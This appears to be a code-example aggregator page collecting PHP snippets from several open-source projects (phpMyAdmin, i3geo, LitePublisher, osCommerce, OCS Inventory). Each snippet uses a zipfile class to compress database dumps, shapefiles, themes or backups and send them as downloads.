					if(@is_writeable($dumpfile)) {
						$fp = fopen($dumpfile, 'rb+');
						@fwrite($fp, $idstring."# <?exit();?>\n ".$setnames."\n #");
						fclose($fp);
					}
					@touch('./backup/'.$backupdir.'/index.htm');
					$filename = $backupfilename.'.sql';
					$this->Messager('database_export_succeed');
				}

			} else {

				$this->Messager('database_shell_fail');

			}

		}
	}
Exemple #22
0
function compress(&$filename, &$filedump, $compress)
{
    global $content_encoding;
    global $mime_type;
    if ($compress == 'bzip' && @function_exists('bzcompress')) {
        $filename .= '.bz2';
        $mime_type = 'application/x-bzip2';
        $filedump = bzcompress($filedump);
    } else {
        if ($compress == 'gzip' && @function_exists('gzencode')) {
            $filename .= '.gz';
            $content_encoding = 'x-gzip';
            $mime_type = 'application/x-gzip';
            $filedump = gzencode($filedump);
        } else {
            if ($compress == 'zip' && @function_exists('gzcompress')) {
                $filename .= '.zip';
                $mime_type = 'application/zip';
                $zipfile = new zipfile();
                $zipfile->addFile($filedump, substr($filename, 0, -4));
                $filedump = $zipfile->file();
            } else {
                $mime_type = 'application/octet-stream';
            }
        }
    }
}
<?php

/**
 * generate an WebApp file for Prism / WebRunner
 *
 * @see http://wiki.mozilla.org/Prism
 */
/**
 *
 */
define('PMA_MINIMUM_COMMON', true);
require_once './libraries/common.inc.php';
require_once './libraries/zip.lib.php';
// ini file
$parameters = array('id' => 'phpMyAdmin@' . $_SERVER['HTTP_HOST'], 'uri' => $_SESSION['PMA_Config']->get('PmaAbsoluteUri'), 'status' => 'yes', 'location' => 'no', 'sidebar' => 'no', 'navigation' => 'no', 'icon' => 'phpMyAdmin');
// dom sript file
// none need yet
// icon
$icon = 'favicon.ico';
// name
$name = 'phpMyAdmin.webapp';
$ini_file = "[Parameters]\n";
foreach ($parameters as $key => $value) {
    $ini_file .= $key . '=' . $value . "\n";
}
$zip = new zipfile();
$zip->addFile($ini_file, 'webapp.ini');
$zip->addFile(file_get_contents($icon), 'phpMyAdmin.ico');
header('Content-Type: application/webapp');
header('Content-Disposition: attachment; filename="' . $name . '"');
echo $zip->file();
Exemple #24
0
function downloadTema2($map_file, $tema, $locaplic, $dir_tmp, $postgis_mapa)
{
    ini_set("max_execution_time", "1800");
    ini_set('memory_limit', '5000M');
    $temas = array();
    if (file_exists($locaplic . "/ms_configura.php")) {
        include $locaplic . "/ms_configura.php";
    } else {
        include dirname(__FILE__) . "/../ms_configura.php";
    }
    //para zipar o shapefile
    include dirname(__FILE__) . "/../pacotes/kmlmapserver/classes/zip.class.php";
    $versao = versao();
    $versao = $versao["principal"];
    $dataArquivos = array();
    //
    //cria o arquivo mapfile, caso ele n&atilde;o exista, que servir&aacute; de base para obten&ccedil;&atilde;o dos dados
    //
    $nomeRand = true;
    $projecao = pegaProjecaoDefault();
    if ($map_file == "" || !@ms_newMapObj($map_file)) {
        //a funcao foi chamada do aplicativo datadownload
        if ($base == "" or !isset($base)) {
            $base = "";
            if (strtoupper(substr(PHP_OS, 0, 3) == 'WIN')) {
                $base = $locaplic . "/aplicmap/geral1windowsv" . $versao . ".map";
            } else {
                if ($base == "" && file_exists('/var/www/i3geo/aplicmap/geral1debianv' . $versao . '.map')) {
                    $base = "/var/www/i3geo/aplicmap/geral1debianv" . $versao . ".map";
                }
                if ($base == "" && file_exists('/var/www/html/i3geo/aplicmap/geral1fedorav' . $versao . '.map')) {
                    $base = "/var/www/html/i3geo/aplicmap/geral1fedorav" . $versao . ".map";
                }
                if ($base == "" && file_exists('/opt/www/html/i3geo/aplicmap/geral1fedorav' . $versao . '.map')) {
                    $base = "/opt/www/html/i3geo/aplicmap/geral1v" . $versao . ".map";
                }
                if ($base == "") {
                    $base = $locaplic . "/aplicmap/geral1v" . $versao . ".map";
                }
            }
        } else {
            if (!file_exists($base)) {
                $base = $locaplic . "/aplicmap/" . $base;
            }
        }
        $map_tmp = ms_newMapObj($base);
        $map_file = $dir_tmp . "/downloadTema2" . nomerandomico(20) . ".map";
        $map_tmp->setProjection($projecao["proj4"]);
        $map_tmp->save($map_file);
        $nomeRand = false;
    }
    //
    //verifica se o tema existe no mapfile
    //se n&atilde;o existir, tenta inserir com base no mapfile existente no diret&oacute;rio temas
    //o tema pode existir se a fun&ccedil;&atilde;o estiver sendo chamada da &aacute;rvore de temas de um mapa j&aacute; aberto
    //
    $temasdir = $locaplic . "/temas";
    $map = ms_newMapObj($map_file);
    $rectextent = $map->extent;
    $extensao = ".map";
    if (file_exists($locaplic . "/temas/" . $tema . ".gvp")) {
        $extensao = ".gvp";
    }
    if ($extensao == ".map") {
        //
        //problema aqui
        //$tema pode ser diferente do nome do mapfile
        //
        $teste = @$map->getlayerbyname($tema);
        //caso o usuario tenha usado caixa alta no nome do layer
        if ($teste == "") {
            $teste = @$map->getlayerbyname(strtoupper($tema));
        }
        //se o layer n&atilde;o existir no mapfile, pega da pasta i3geo/temas e adiciona em $map
        if ($teste == "") {
            //tema pode ser o nome de um arquivo mapfile
            if (file_exists($tema . ".map")) {
                $maptemp = ms_newMapObj($tema . ".map");
                $tema = basename($tema);
            } else {
                $maptemp = ms_newMapObj($temasdir . "/" . $tema . ".map");
            }
            $numlayers = $maptemp->numlayers;
            for ($i = 0; $i < $numlayers; ++$i) {
                $ll = $maptemp->getlayer($i);
                $permite = $ll->getmetadata("permitedownload");
                if ($permite != "nao") {
                    ms_newLayerObj($map, $ll);
                }
            }
            $teste = @$map->getlayerbyname($tema);
            if ($teste == "") {
                $ll = $maptemp->getlayer(0);
                $permite = $ll->getmetadata("permitedownload");
                if ($permite != "nao") {
                    ms_newLayerObj($map, $ll);
                    $tema = $ll->name;
                }
            }
        } else {
            //remove o metadata com um nome de arquivo opcional, pois a fun&ccedil;&atilde;o de download pode estar sendo executada da &aacute;rvore de camadas
            $teste = $map->getlayerbyname($tema);
            $teste->setmetadata("arquivodownload", "");
        }
    } else {
        include_once $locaplic . "/pacotes/gvsig/gvsig2mapfile/class.gvsig2mapfile.php";
        $gm = new gvsig2mapfile($locaplic . "/temas/" . $tema . ".gvp");
        $gvsigview = $gm->getViewsNames();
        foreach ($gvsigview as $gv) {
            $dataView = $gm->getViewData($gvsigview);
            $map = $gm->addLayers($map, $gvsigview, $dataView["layerNames"]);
            $temas = array_merge($temas, $gm->nomesLayersAdicionados);
        }
    }
    //
    //salva o mapfile com um outro nome para evitar que o mapa atual, se estiver aberto, seja modificado
    //
    //verifica se tem query e copia o arquivo
    $qyfile = str_replace(".map", "_qy.map", $map_file);
    $nr = nomerandomico(5);
    $map_file = str_replace(".map", $nr . "tmp.map", $map_file);
    if (file_exists($qyfile)) {
        $nqyfile = str_replace(".map", "_qy.map", $map_file);
        $nqyfile = str_replace("_qy.map", "", $nqyfile) . "_qy.map";
        copy($qyfile, $nqyfile);
    }
    $map->save($map_file);
    //$map_file agora contem os LAYERS necess&aacute;rios
    $map = ms_newMapObj($map_file);
    substituiConObj($map, $postgis_mapa);
    $nameMapfile = $map->name;
    //
    //verifica se existe mais de um tema (grupo) montando o array com os temas
    //os grupos podem ter o nome do layer em GROUP ao inv&eacute;s de NAME
    //
    if ($extensao == ".map") {
        $multilayer = 0;
        $grupos = $map->getAllGroupNames();
        foreach ($grupos as $grupo) {
            if ($grupo == $tema) {
                $multilayer = 1;
            }
        }
        if ($multilayer == 1) {
            $temasnx = $map->getAllLayerNames();
            foreach ($temasnx as $l) {
                $gl = $map->getlayerbyname($l);
                $g = $gl->group;
                if ($g == $tema || $l == $tema) {
                    $temas[] = $l;
                }
            }
        }
        if ($multilayer == 0) {
            $temas[] = $tema;
        }
    }
    //$temas agora &eacute; um array com os NAMEs dos LAYERS que ser&atilde;o baixados
    $radtmp = dirname($dir_tmp);
    $ziper = new zipfile();
    foreach ($temas as $tema) {
        $l = $map->getlayerbyname($tema);
        $novonomelayer = $tema;
        //usa o NAME do mapfile para nao gerar arquivos com o mesmo nome em instalacoes multiplas do i3geo
        $nomeshp = $dir_tmp . "/" . $nameMapfile . "_" . $novonomelayer;
        if (file_exists($nomeshp . ".dbf")) {
            //
            //verifica se o arquivo est&aacute; vazio ou n&atilde;o
            //se estiver, apaga o arquivo
            //
            $verificaDBF = verificaDBF($nomeshp . ".dbf");
            if ($verificaDBF == false) {
                unlink($nomeshp . ".dbf");
                unlink($nomeshp . ".shp");
                unlink($nomeshp . ".shx");
                unlink($nomeshp . ".prj");
                unlink($nomeshp . ".zip");
            }
        }
        //
        //se existir um arquivo j&aacute; pronto, definido no metadata arquivodownload, ir&aacute; ser utilizado
        //
        $meta = $l->getmetadata("arquivodownload");
        if ($meta != "") {
            //
            //se o arquivo n&atilde;o tiver sido copiado
            //
            //evita que se tente copiar qualquer arquivo
            $meta = str_replace(".zip", "", $meta) . ".zip";
            $nomecopia = $dir_tmp . "/" . $nameMapfile . "_" . basename($meta);
            //para evitar que tente copiar um arquivo mapfile
            $nomecopia = str_replace(".map", "", $nomecopia);
            $nomecopia = str_replace(".zip", "zip", $nomecopia) . ".zip";
            if (file_exists($meta)) {
                if (!file_exists($nomecopia)) {
                    copy($meta, $nomecopia);
                }
            }
            $resultado[] = basename($dir_tmp) . "/" . basename($nomecopia);
        } else {
            //se n&atilde;o existir arquivo definido
            $dados = $l->data;
            //
            //se for imagem, copia o arquivo
            //
            if ($l->type == MS_LAYER_RASTER) {
                if (file_exists($dados)) {
                    $dir = dirname($dados);
                    $arq = explode(".", basename($dados));
                    $nomecopia = $dir_tmp . "/" . $nameMapfile . "_" . $arq[0];
                    $exts = array("jpg", "jpw", "tif", "tifw", "tfw", "png", "pngw", "jpgw", "wld", "img");
                    foreach ($exts as $ext) {
                        $copia = $nomecopia . "." . $ext;
                        if (!file_exists($copia) && file_exists($dir . "/" . $arq[0] . "." . $ext)) {
                            copy($dir . "/" . $arq[0] . "." . $ext, $copia);
                        }
                        if (file_exists($copia)) {
                            $resultado[] = basename($dir_tmp) . "/" . basename($copia);
                        }
                    }
                } else {
                    return "erro";
                }
            } else {
                //se for vetorial, extrai o arquivo
                //
                //verifica se existe selecao, caso contrario, faz a selecao baseada na extensao
                //do mapfile
                //
                include dirname(__FILE__) . "/../classesphp/classe_selecao.php";
                $sel = new Selecao($map_file, $tema);
                //carrega a query para ver se o layer possui selecao ou nao
                $numSel = 0;
                $nomeRand = true;
                if (file_exists($sel->qyfile)) {
                    $map->loadquery($sel->qyfile);
                    $numSel = $l->getNumresults();
                    $nomeshp = criaSHP($tema, $map_file, $locaplic, $dir_tmp, $nomeRand, $projecao["prj"]);
                }
                //
                //se nao existir selecao seleciona por box
                //o box vem do mapfile original
                //
                if (!file_exists($sel->qyfile)) {
                    $box = $rectextent->minx . " " . $rectextent->miny . " " . $rectextent->maxx . " " . $rectextent->maxy;
                    $shapesSel = $sel->selecaoBOX("novo", $box, true);
                    //reaproveita arquivo anterior
                    $nomeRand = false;
                    $nomeshp = criaSHP($tema, $map_file, $locaplic, $dir_tmp, $nomeRand, $projecao["prj"], true, $shapesSel);
                }
                //remove o arquivo de selecao se ele foi criado apenas para pegar todos os elementos
                if ($nomeRand == false) {
                    $sel->selecaoLimpa();
                }
                if ($nomeshp == false) {
                    return array("arquivos" => "<span style=color:red >Ocorreu um erro, tente novamente", "nreg" => 0);
                }
                $pre = str_replace($radtmp . "/", "", $nomeshp);
                $resultado[] = $pre . ".shp";
                $dataArquivos[] = date("F d Y H:i:s.", filemtime($nomeshp . ".shp"));
                $resultado[] = $pre . ".shx";
                $dataArquivos[] = date("F d Y H:i:s.", filemtime($nomeshp . ".shx"));
                $resultado[] = $pre . ".dbf";
                $dataArquivos[] = date("F d Y H:i:s.", filemtime($nomeshp . ".dbf"));
                $resultado[] = $pre . ".prj";
                $dataArquivos[] = date("F d Y H:i:s.", filemtime($nomeshp . ".prj"));
                //zipa o arquivo
                $zip = basename($pre);
                if (!file_exists($pre . ".zip")) {
                    $ziper->addFile(file_get_contents($nomeshp . ".shp"), $zip . ".shp");
                    $ziper->addFile(file_get_contents($nomeshp . ".shx"), $zip . ".shx");
                    $ziper->addFile(file_get_contents($nomeshp . ".dbf"), $zip . ".dbf");
                    $ziper->addFile(file_get_contents($nomeshp . ".prj"), $zip . ".prj");
                    $fp = fopen($nomeshp . ".zip", "wb");
                    fwrite($fp, $ziper->file());
                    fclose($fp);
                }
                $resultado[] = $pre . ".zip";
                $dataArquivos[] = date("F d Y H:i:s.", filemtime($nomeshp . ".zip"));
            }
        }
    }
    $nreg = "";
    if (count($resultado) == 3) {
        $arq = $radtmp . "/" . $resultado[2];
        if (function_exists("dbase_open")) {
            $db = dbase_open($arq, 0);
            if ($db) {
                $nreg = dbase_numrecords($db);
            }
        } else {
            $db = xbase_open($arq, 0);
            if ($db) {
                $nreg = xbase_numrecords($db);
            }
        }
    }
    //
    //gera um mapfile para download
    //
    $nomemapfileurl = "";
    return array("tema" => $tema, "mapfile" => "", "mapfileurl" => "", "arquivos" => implode(",", $resultado), "nreg" => $nreg, "datas" => $dataArquivos, "shape-zip" => $nomeshp . ".zip");
}
 public function sendfile()
 {
     $themename = isset($_POST['themename']) ? trim($_POST['themename']) : '';
     if ($themename != '') {
         $themename = tlinkgenerator::i()->filterfilename($themename);
     }
     if ($themename == '') {
         $themename = time();
     }
     $path = "themes/generator-{$themename}/";
     litepublisher::$classes->include_file(litepublisher::$paths->libinclude . 'zip.lib.php');
     $zip = new zipfile();
     $themedir = litepublisher::$paths->plugins . 'themegenerator' . DIRECTORY_SEPARATOR . $this->type . DIRECTORY_SEPARATOR;
     $args = new targs();
     $colors = "[themecolors]\nthemename = \"{$themename}\"\n";
     foreach ($this->colors as $name => $value) {
         $colors .= "{$name} = \"{$value}\"\n";
         $args->{$name} = $value;
     }
     foreach (array('headerurl', 'logourl') as $name) {
         if (strbegin($this->colors[$name], 'http://')) {
             $basename = substr($this->colors[$name], strrpos($this->colors[$name], '/') + 1);
             $filename = litepublisher::$paths->files . 'themegen' . DIRECTORY_SEPARATOR . $basename;
             $zip->addFile(file_get_contents($filename), $path . 'images/' . $basename);
             $args->{$name} = 'images/' . $basename;
         }
     }
     $res = $this->res;
     $css = strtr(tfilestorage::getfile($res . 'scheme.tml'), $args->data);
     $zip->addFile($colors, $path . 'colors.ini');
     $filelist = tfiler::getfiles($themedir);
     foreach ($filelist as $filename) {
         $content = tfilestorage::getfile($themedir . $filename);
         switch ($filename) {
             case 'style.css':
                 $content .= $css;
                 break;
             case 'about.ini':
                 $content = str_replace('name = generator', "name = generator-{$themename}", $content);
                 break;
         }
         $zip->addFile($content, $path . $filename);
     }
     $result = $zip->file();
     if (ob_get_level()) {
         @ob_end_clean();
     }
     header('HTTP/1.1 200 OK', true, 200);
     header('Content-type: application/octet-stream');
     header('Content-Disposition: attachment; filename=generator.theme.' . $themename . '.zip');
     header('Content-Length: ' . strlen($result));
     header('Last-Modified: ' . date('r'));
     Header('Cache-Control: no-cache, must-revalidate');
     Header('Pragma: no-cache');
     echo $result;
     exit;
 }
Exemple #26
0
$backupcounter = 0;
for ($i = 0, $n = sizeof($files); $i < $n; $i++) {
    // entspricht PHP4: foreach($files as $file)
    $file = $files[$i];
    $fn = $file->path . $file->name;
    if ($file->paramcheck && file_exists($fn)) {
        $fs = filesize($fn);
        if ($fs > MAX_FILE_SIZE) {
            error_log(date(PHP_DATE_TIME_FORMAT) . " Elm@r-osCommerce-Modul: Die Datei {$fn} ist mit {$fs} Bytes zu gross fuer ein On-the-fly-Backup.", 0);
            //trigger_error("Die Datei $fn ist mit $fs Bytes zu gro&szlig; f&uuml;r ein On-the-fly-Backup.", E_USER_NOTICE);
        } else {
            $handle = fopen($fn, 'rb');
            $data = fread($handle, $fs);
            fclose($handle);
            $fn = $file->path() . $file->name;
            $zipfile->addFile($data, $fn);
            ++$backupcounter;
        }
    }
}
if ($backupcounter == 0) {
    // Keine Datei im Backup, dann wieder das Backup-Formular laden
    $url = 'http://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER['SERVER_PORT'] . ELMAR_START . 'backup.php&status=error';
    header('Location: ' . $url);
    echo 'Es sind keine Dateien im Backup. Falls der Browser nicht automatisch die neue Seite aufruft, klicken Sie bitte <a href="' . $url . '">hier</a>.';
    exit;
}
if (headers_sent($filename, $linenum)) {
    exit('<p style="color:white;background-color:red;margin:10px;padding:10px;font-weight:bold">HTTP-Header wurden bereits gesendet von der Datei <code>' . $filename . '</code> Zeile <code>' . $linenum . "</code>.<br>\nEs muss ein Fehler aufgetreten sein, der erst zu beheben ist, bevor das Backup ordnungsgem&auml;&szlig; ausgef&uuml;hrt werden kann.<br>\n" . '(Abbruch in Datei <code>' . __FILE__ . '</code> Zeile <code>' . __LINE__ . '</code>.)</p>');
}
header('Content-Type: application/zip');
Exemple #27
0
    exit;
}
/**
 * Send the dump as a file...
 */
if (!empty($asfile)) {
    // Convert the charset if required.
    if ($output_charset_conversion) {
        $dump_buffer = PMA_convert_string($GLOBALS['charset'], $GLOBALS['charset_of_file'], $dump_buffer);
    }
    // Do the compression
    // 1. as a zipped file
    if ($compression == 'zip') {
        if (@function_exists('gzcompress')) {
            $zipfile = new zipfile();
            $zipfile->addFile($dump_buffer, substr($filename, 0, -4));
            $dump_buffer = $zipfile->file();
        }
    } elseif ($compression == 'bzip') {
        if (@function_exists('bzcompress')) {
            $dump_buffer = bzcompress($dump_buffer);
        }
    } elseif ($compression == 'gzip') {
        if (@function_exists('gzencode') && !@ini_get('zlib.output_compression')) {
            // without the optional parameter level because it bug
            $dump_buffer = gzencode($dump_buffer);
        }
    }
    /* If ve saved on server, we have to close file now */
    if ($save_on_server) {
        $write_result = @fwrite($file_handle, $dump_buffer);
Exemple #28
0
     if (!$generate || saveProductFile(false, $filename_froogle, 'froogle')) {
         $msg .= '<br>';
         if (substr(FROOGLE_FTP_FILE_NAME, -4) != '.zip') {
             // Textdatei
             froogle_ftp_upload($filename_froogle, FROOGLE_FTP_FILE_NAME);
         } else {
             // Produktdatei komprimieren
             $fs = filesize($filename_froogle);
             $fh = fopen($filename_froogle, 'rb');
             flock($fh, LOCK_SH);
             $data = fread($fh, $fs);
             flock($fh, LOCK_UN);
             fclose($fh);
             require ELMAR_PATH . 'tools/zip.lib.php';
             $zipfile = new zipfile();
             $zipfile->addFile($data, basename($filename_froogle));
             $zipname = dirname($filename_froogle) . $PATH_SEPARATOR . FROOGLE_FTP_FILE_NAME;
             $fh = fopen($zipname, 'wb');
             flock($fh, LOCK_EX);
             fputs($fh, $zipfile->file());
             flock($fh, LOCK_UN);
             fclose($fh);
             froogle_ftp_upload($zipname, FROOGLE_FTP_FILE_NAME);
         }
     } else {
         $msg .= '<br>Produktdatei wurde nicht zum Froogle-FTP-Server &uuml;bertragen.';
     }
 } else {
     $ok = false;
     $msg .= 'Aufruf- oder Programmierfehler: Parameterwert "' . $ftp . '" f&uuml;r FTP-Upload unbekannt.';
 }
    $zipfile = new zipfile();
    //looking for the directory for pack
    if ($protectedGet['type'] == "server") {
        $sql_document_root = "select tvalue from config where NAME='DOWNLOAD_REP_CREAT'";
    } else {
        $sql_document_root = "select tvalue from config where NAME='DOWNLOAD_PACK_DIR'";
    }
    $res_document_root = mysql_query($sql_document_root, $_SESSION['OCS']["readServer"]);
    while ($val_document_root = mysql_fetch_array($res_document_root)) {
        $document_root = $val_document_root["tvalue"] . '/download/';
    }
    //echo $document_root;
    //if no directory in base, take $_SERVER["DOCUMENT_ROOT"]
    if (!isset($document_root)) {
        $document_root = DOCUMENT_ROOT . "download/";
        if ($protectedGet['type'] == "server") {
            $document_root .= "server/";
        }
    }
    $rep = $document_root . $protectedGet["timestamp"] . "/";
    //echo $rep;
    $dir = opendir($rep);
    while ($f = readdir($dir)) {
        if (is_file($rep . $f)) {
            $zipfile->addFile(implode("", file($rep . $f)), basename($rep . $f));
        }
    }
    closedir($dir);
    print $zipfile->file();
    exit;
}
 /**
  * Send stream
  */
 function send_stream($data)
 {
     $this->send_header();
     // Compress data
     if ($this->_zipped) {
         include "zip.class.php";
         $ziper = new zipfile();
         $ziper->addFile($data, 'doc.kml');
         $data = $ziper->file();
     }
     // Create cache if needed
     if (ENABLE_CACHE && count($this->layers) == 1) {
         //error_log( 'creating cache ' . $this->get_cache_file_name() );
         file_put_contents($this->get_cache_file_name(), $data);
     }
     print $data;
     exit;
 }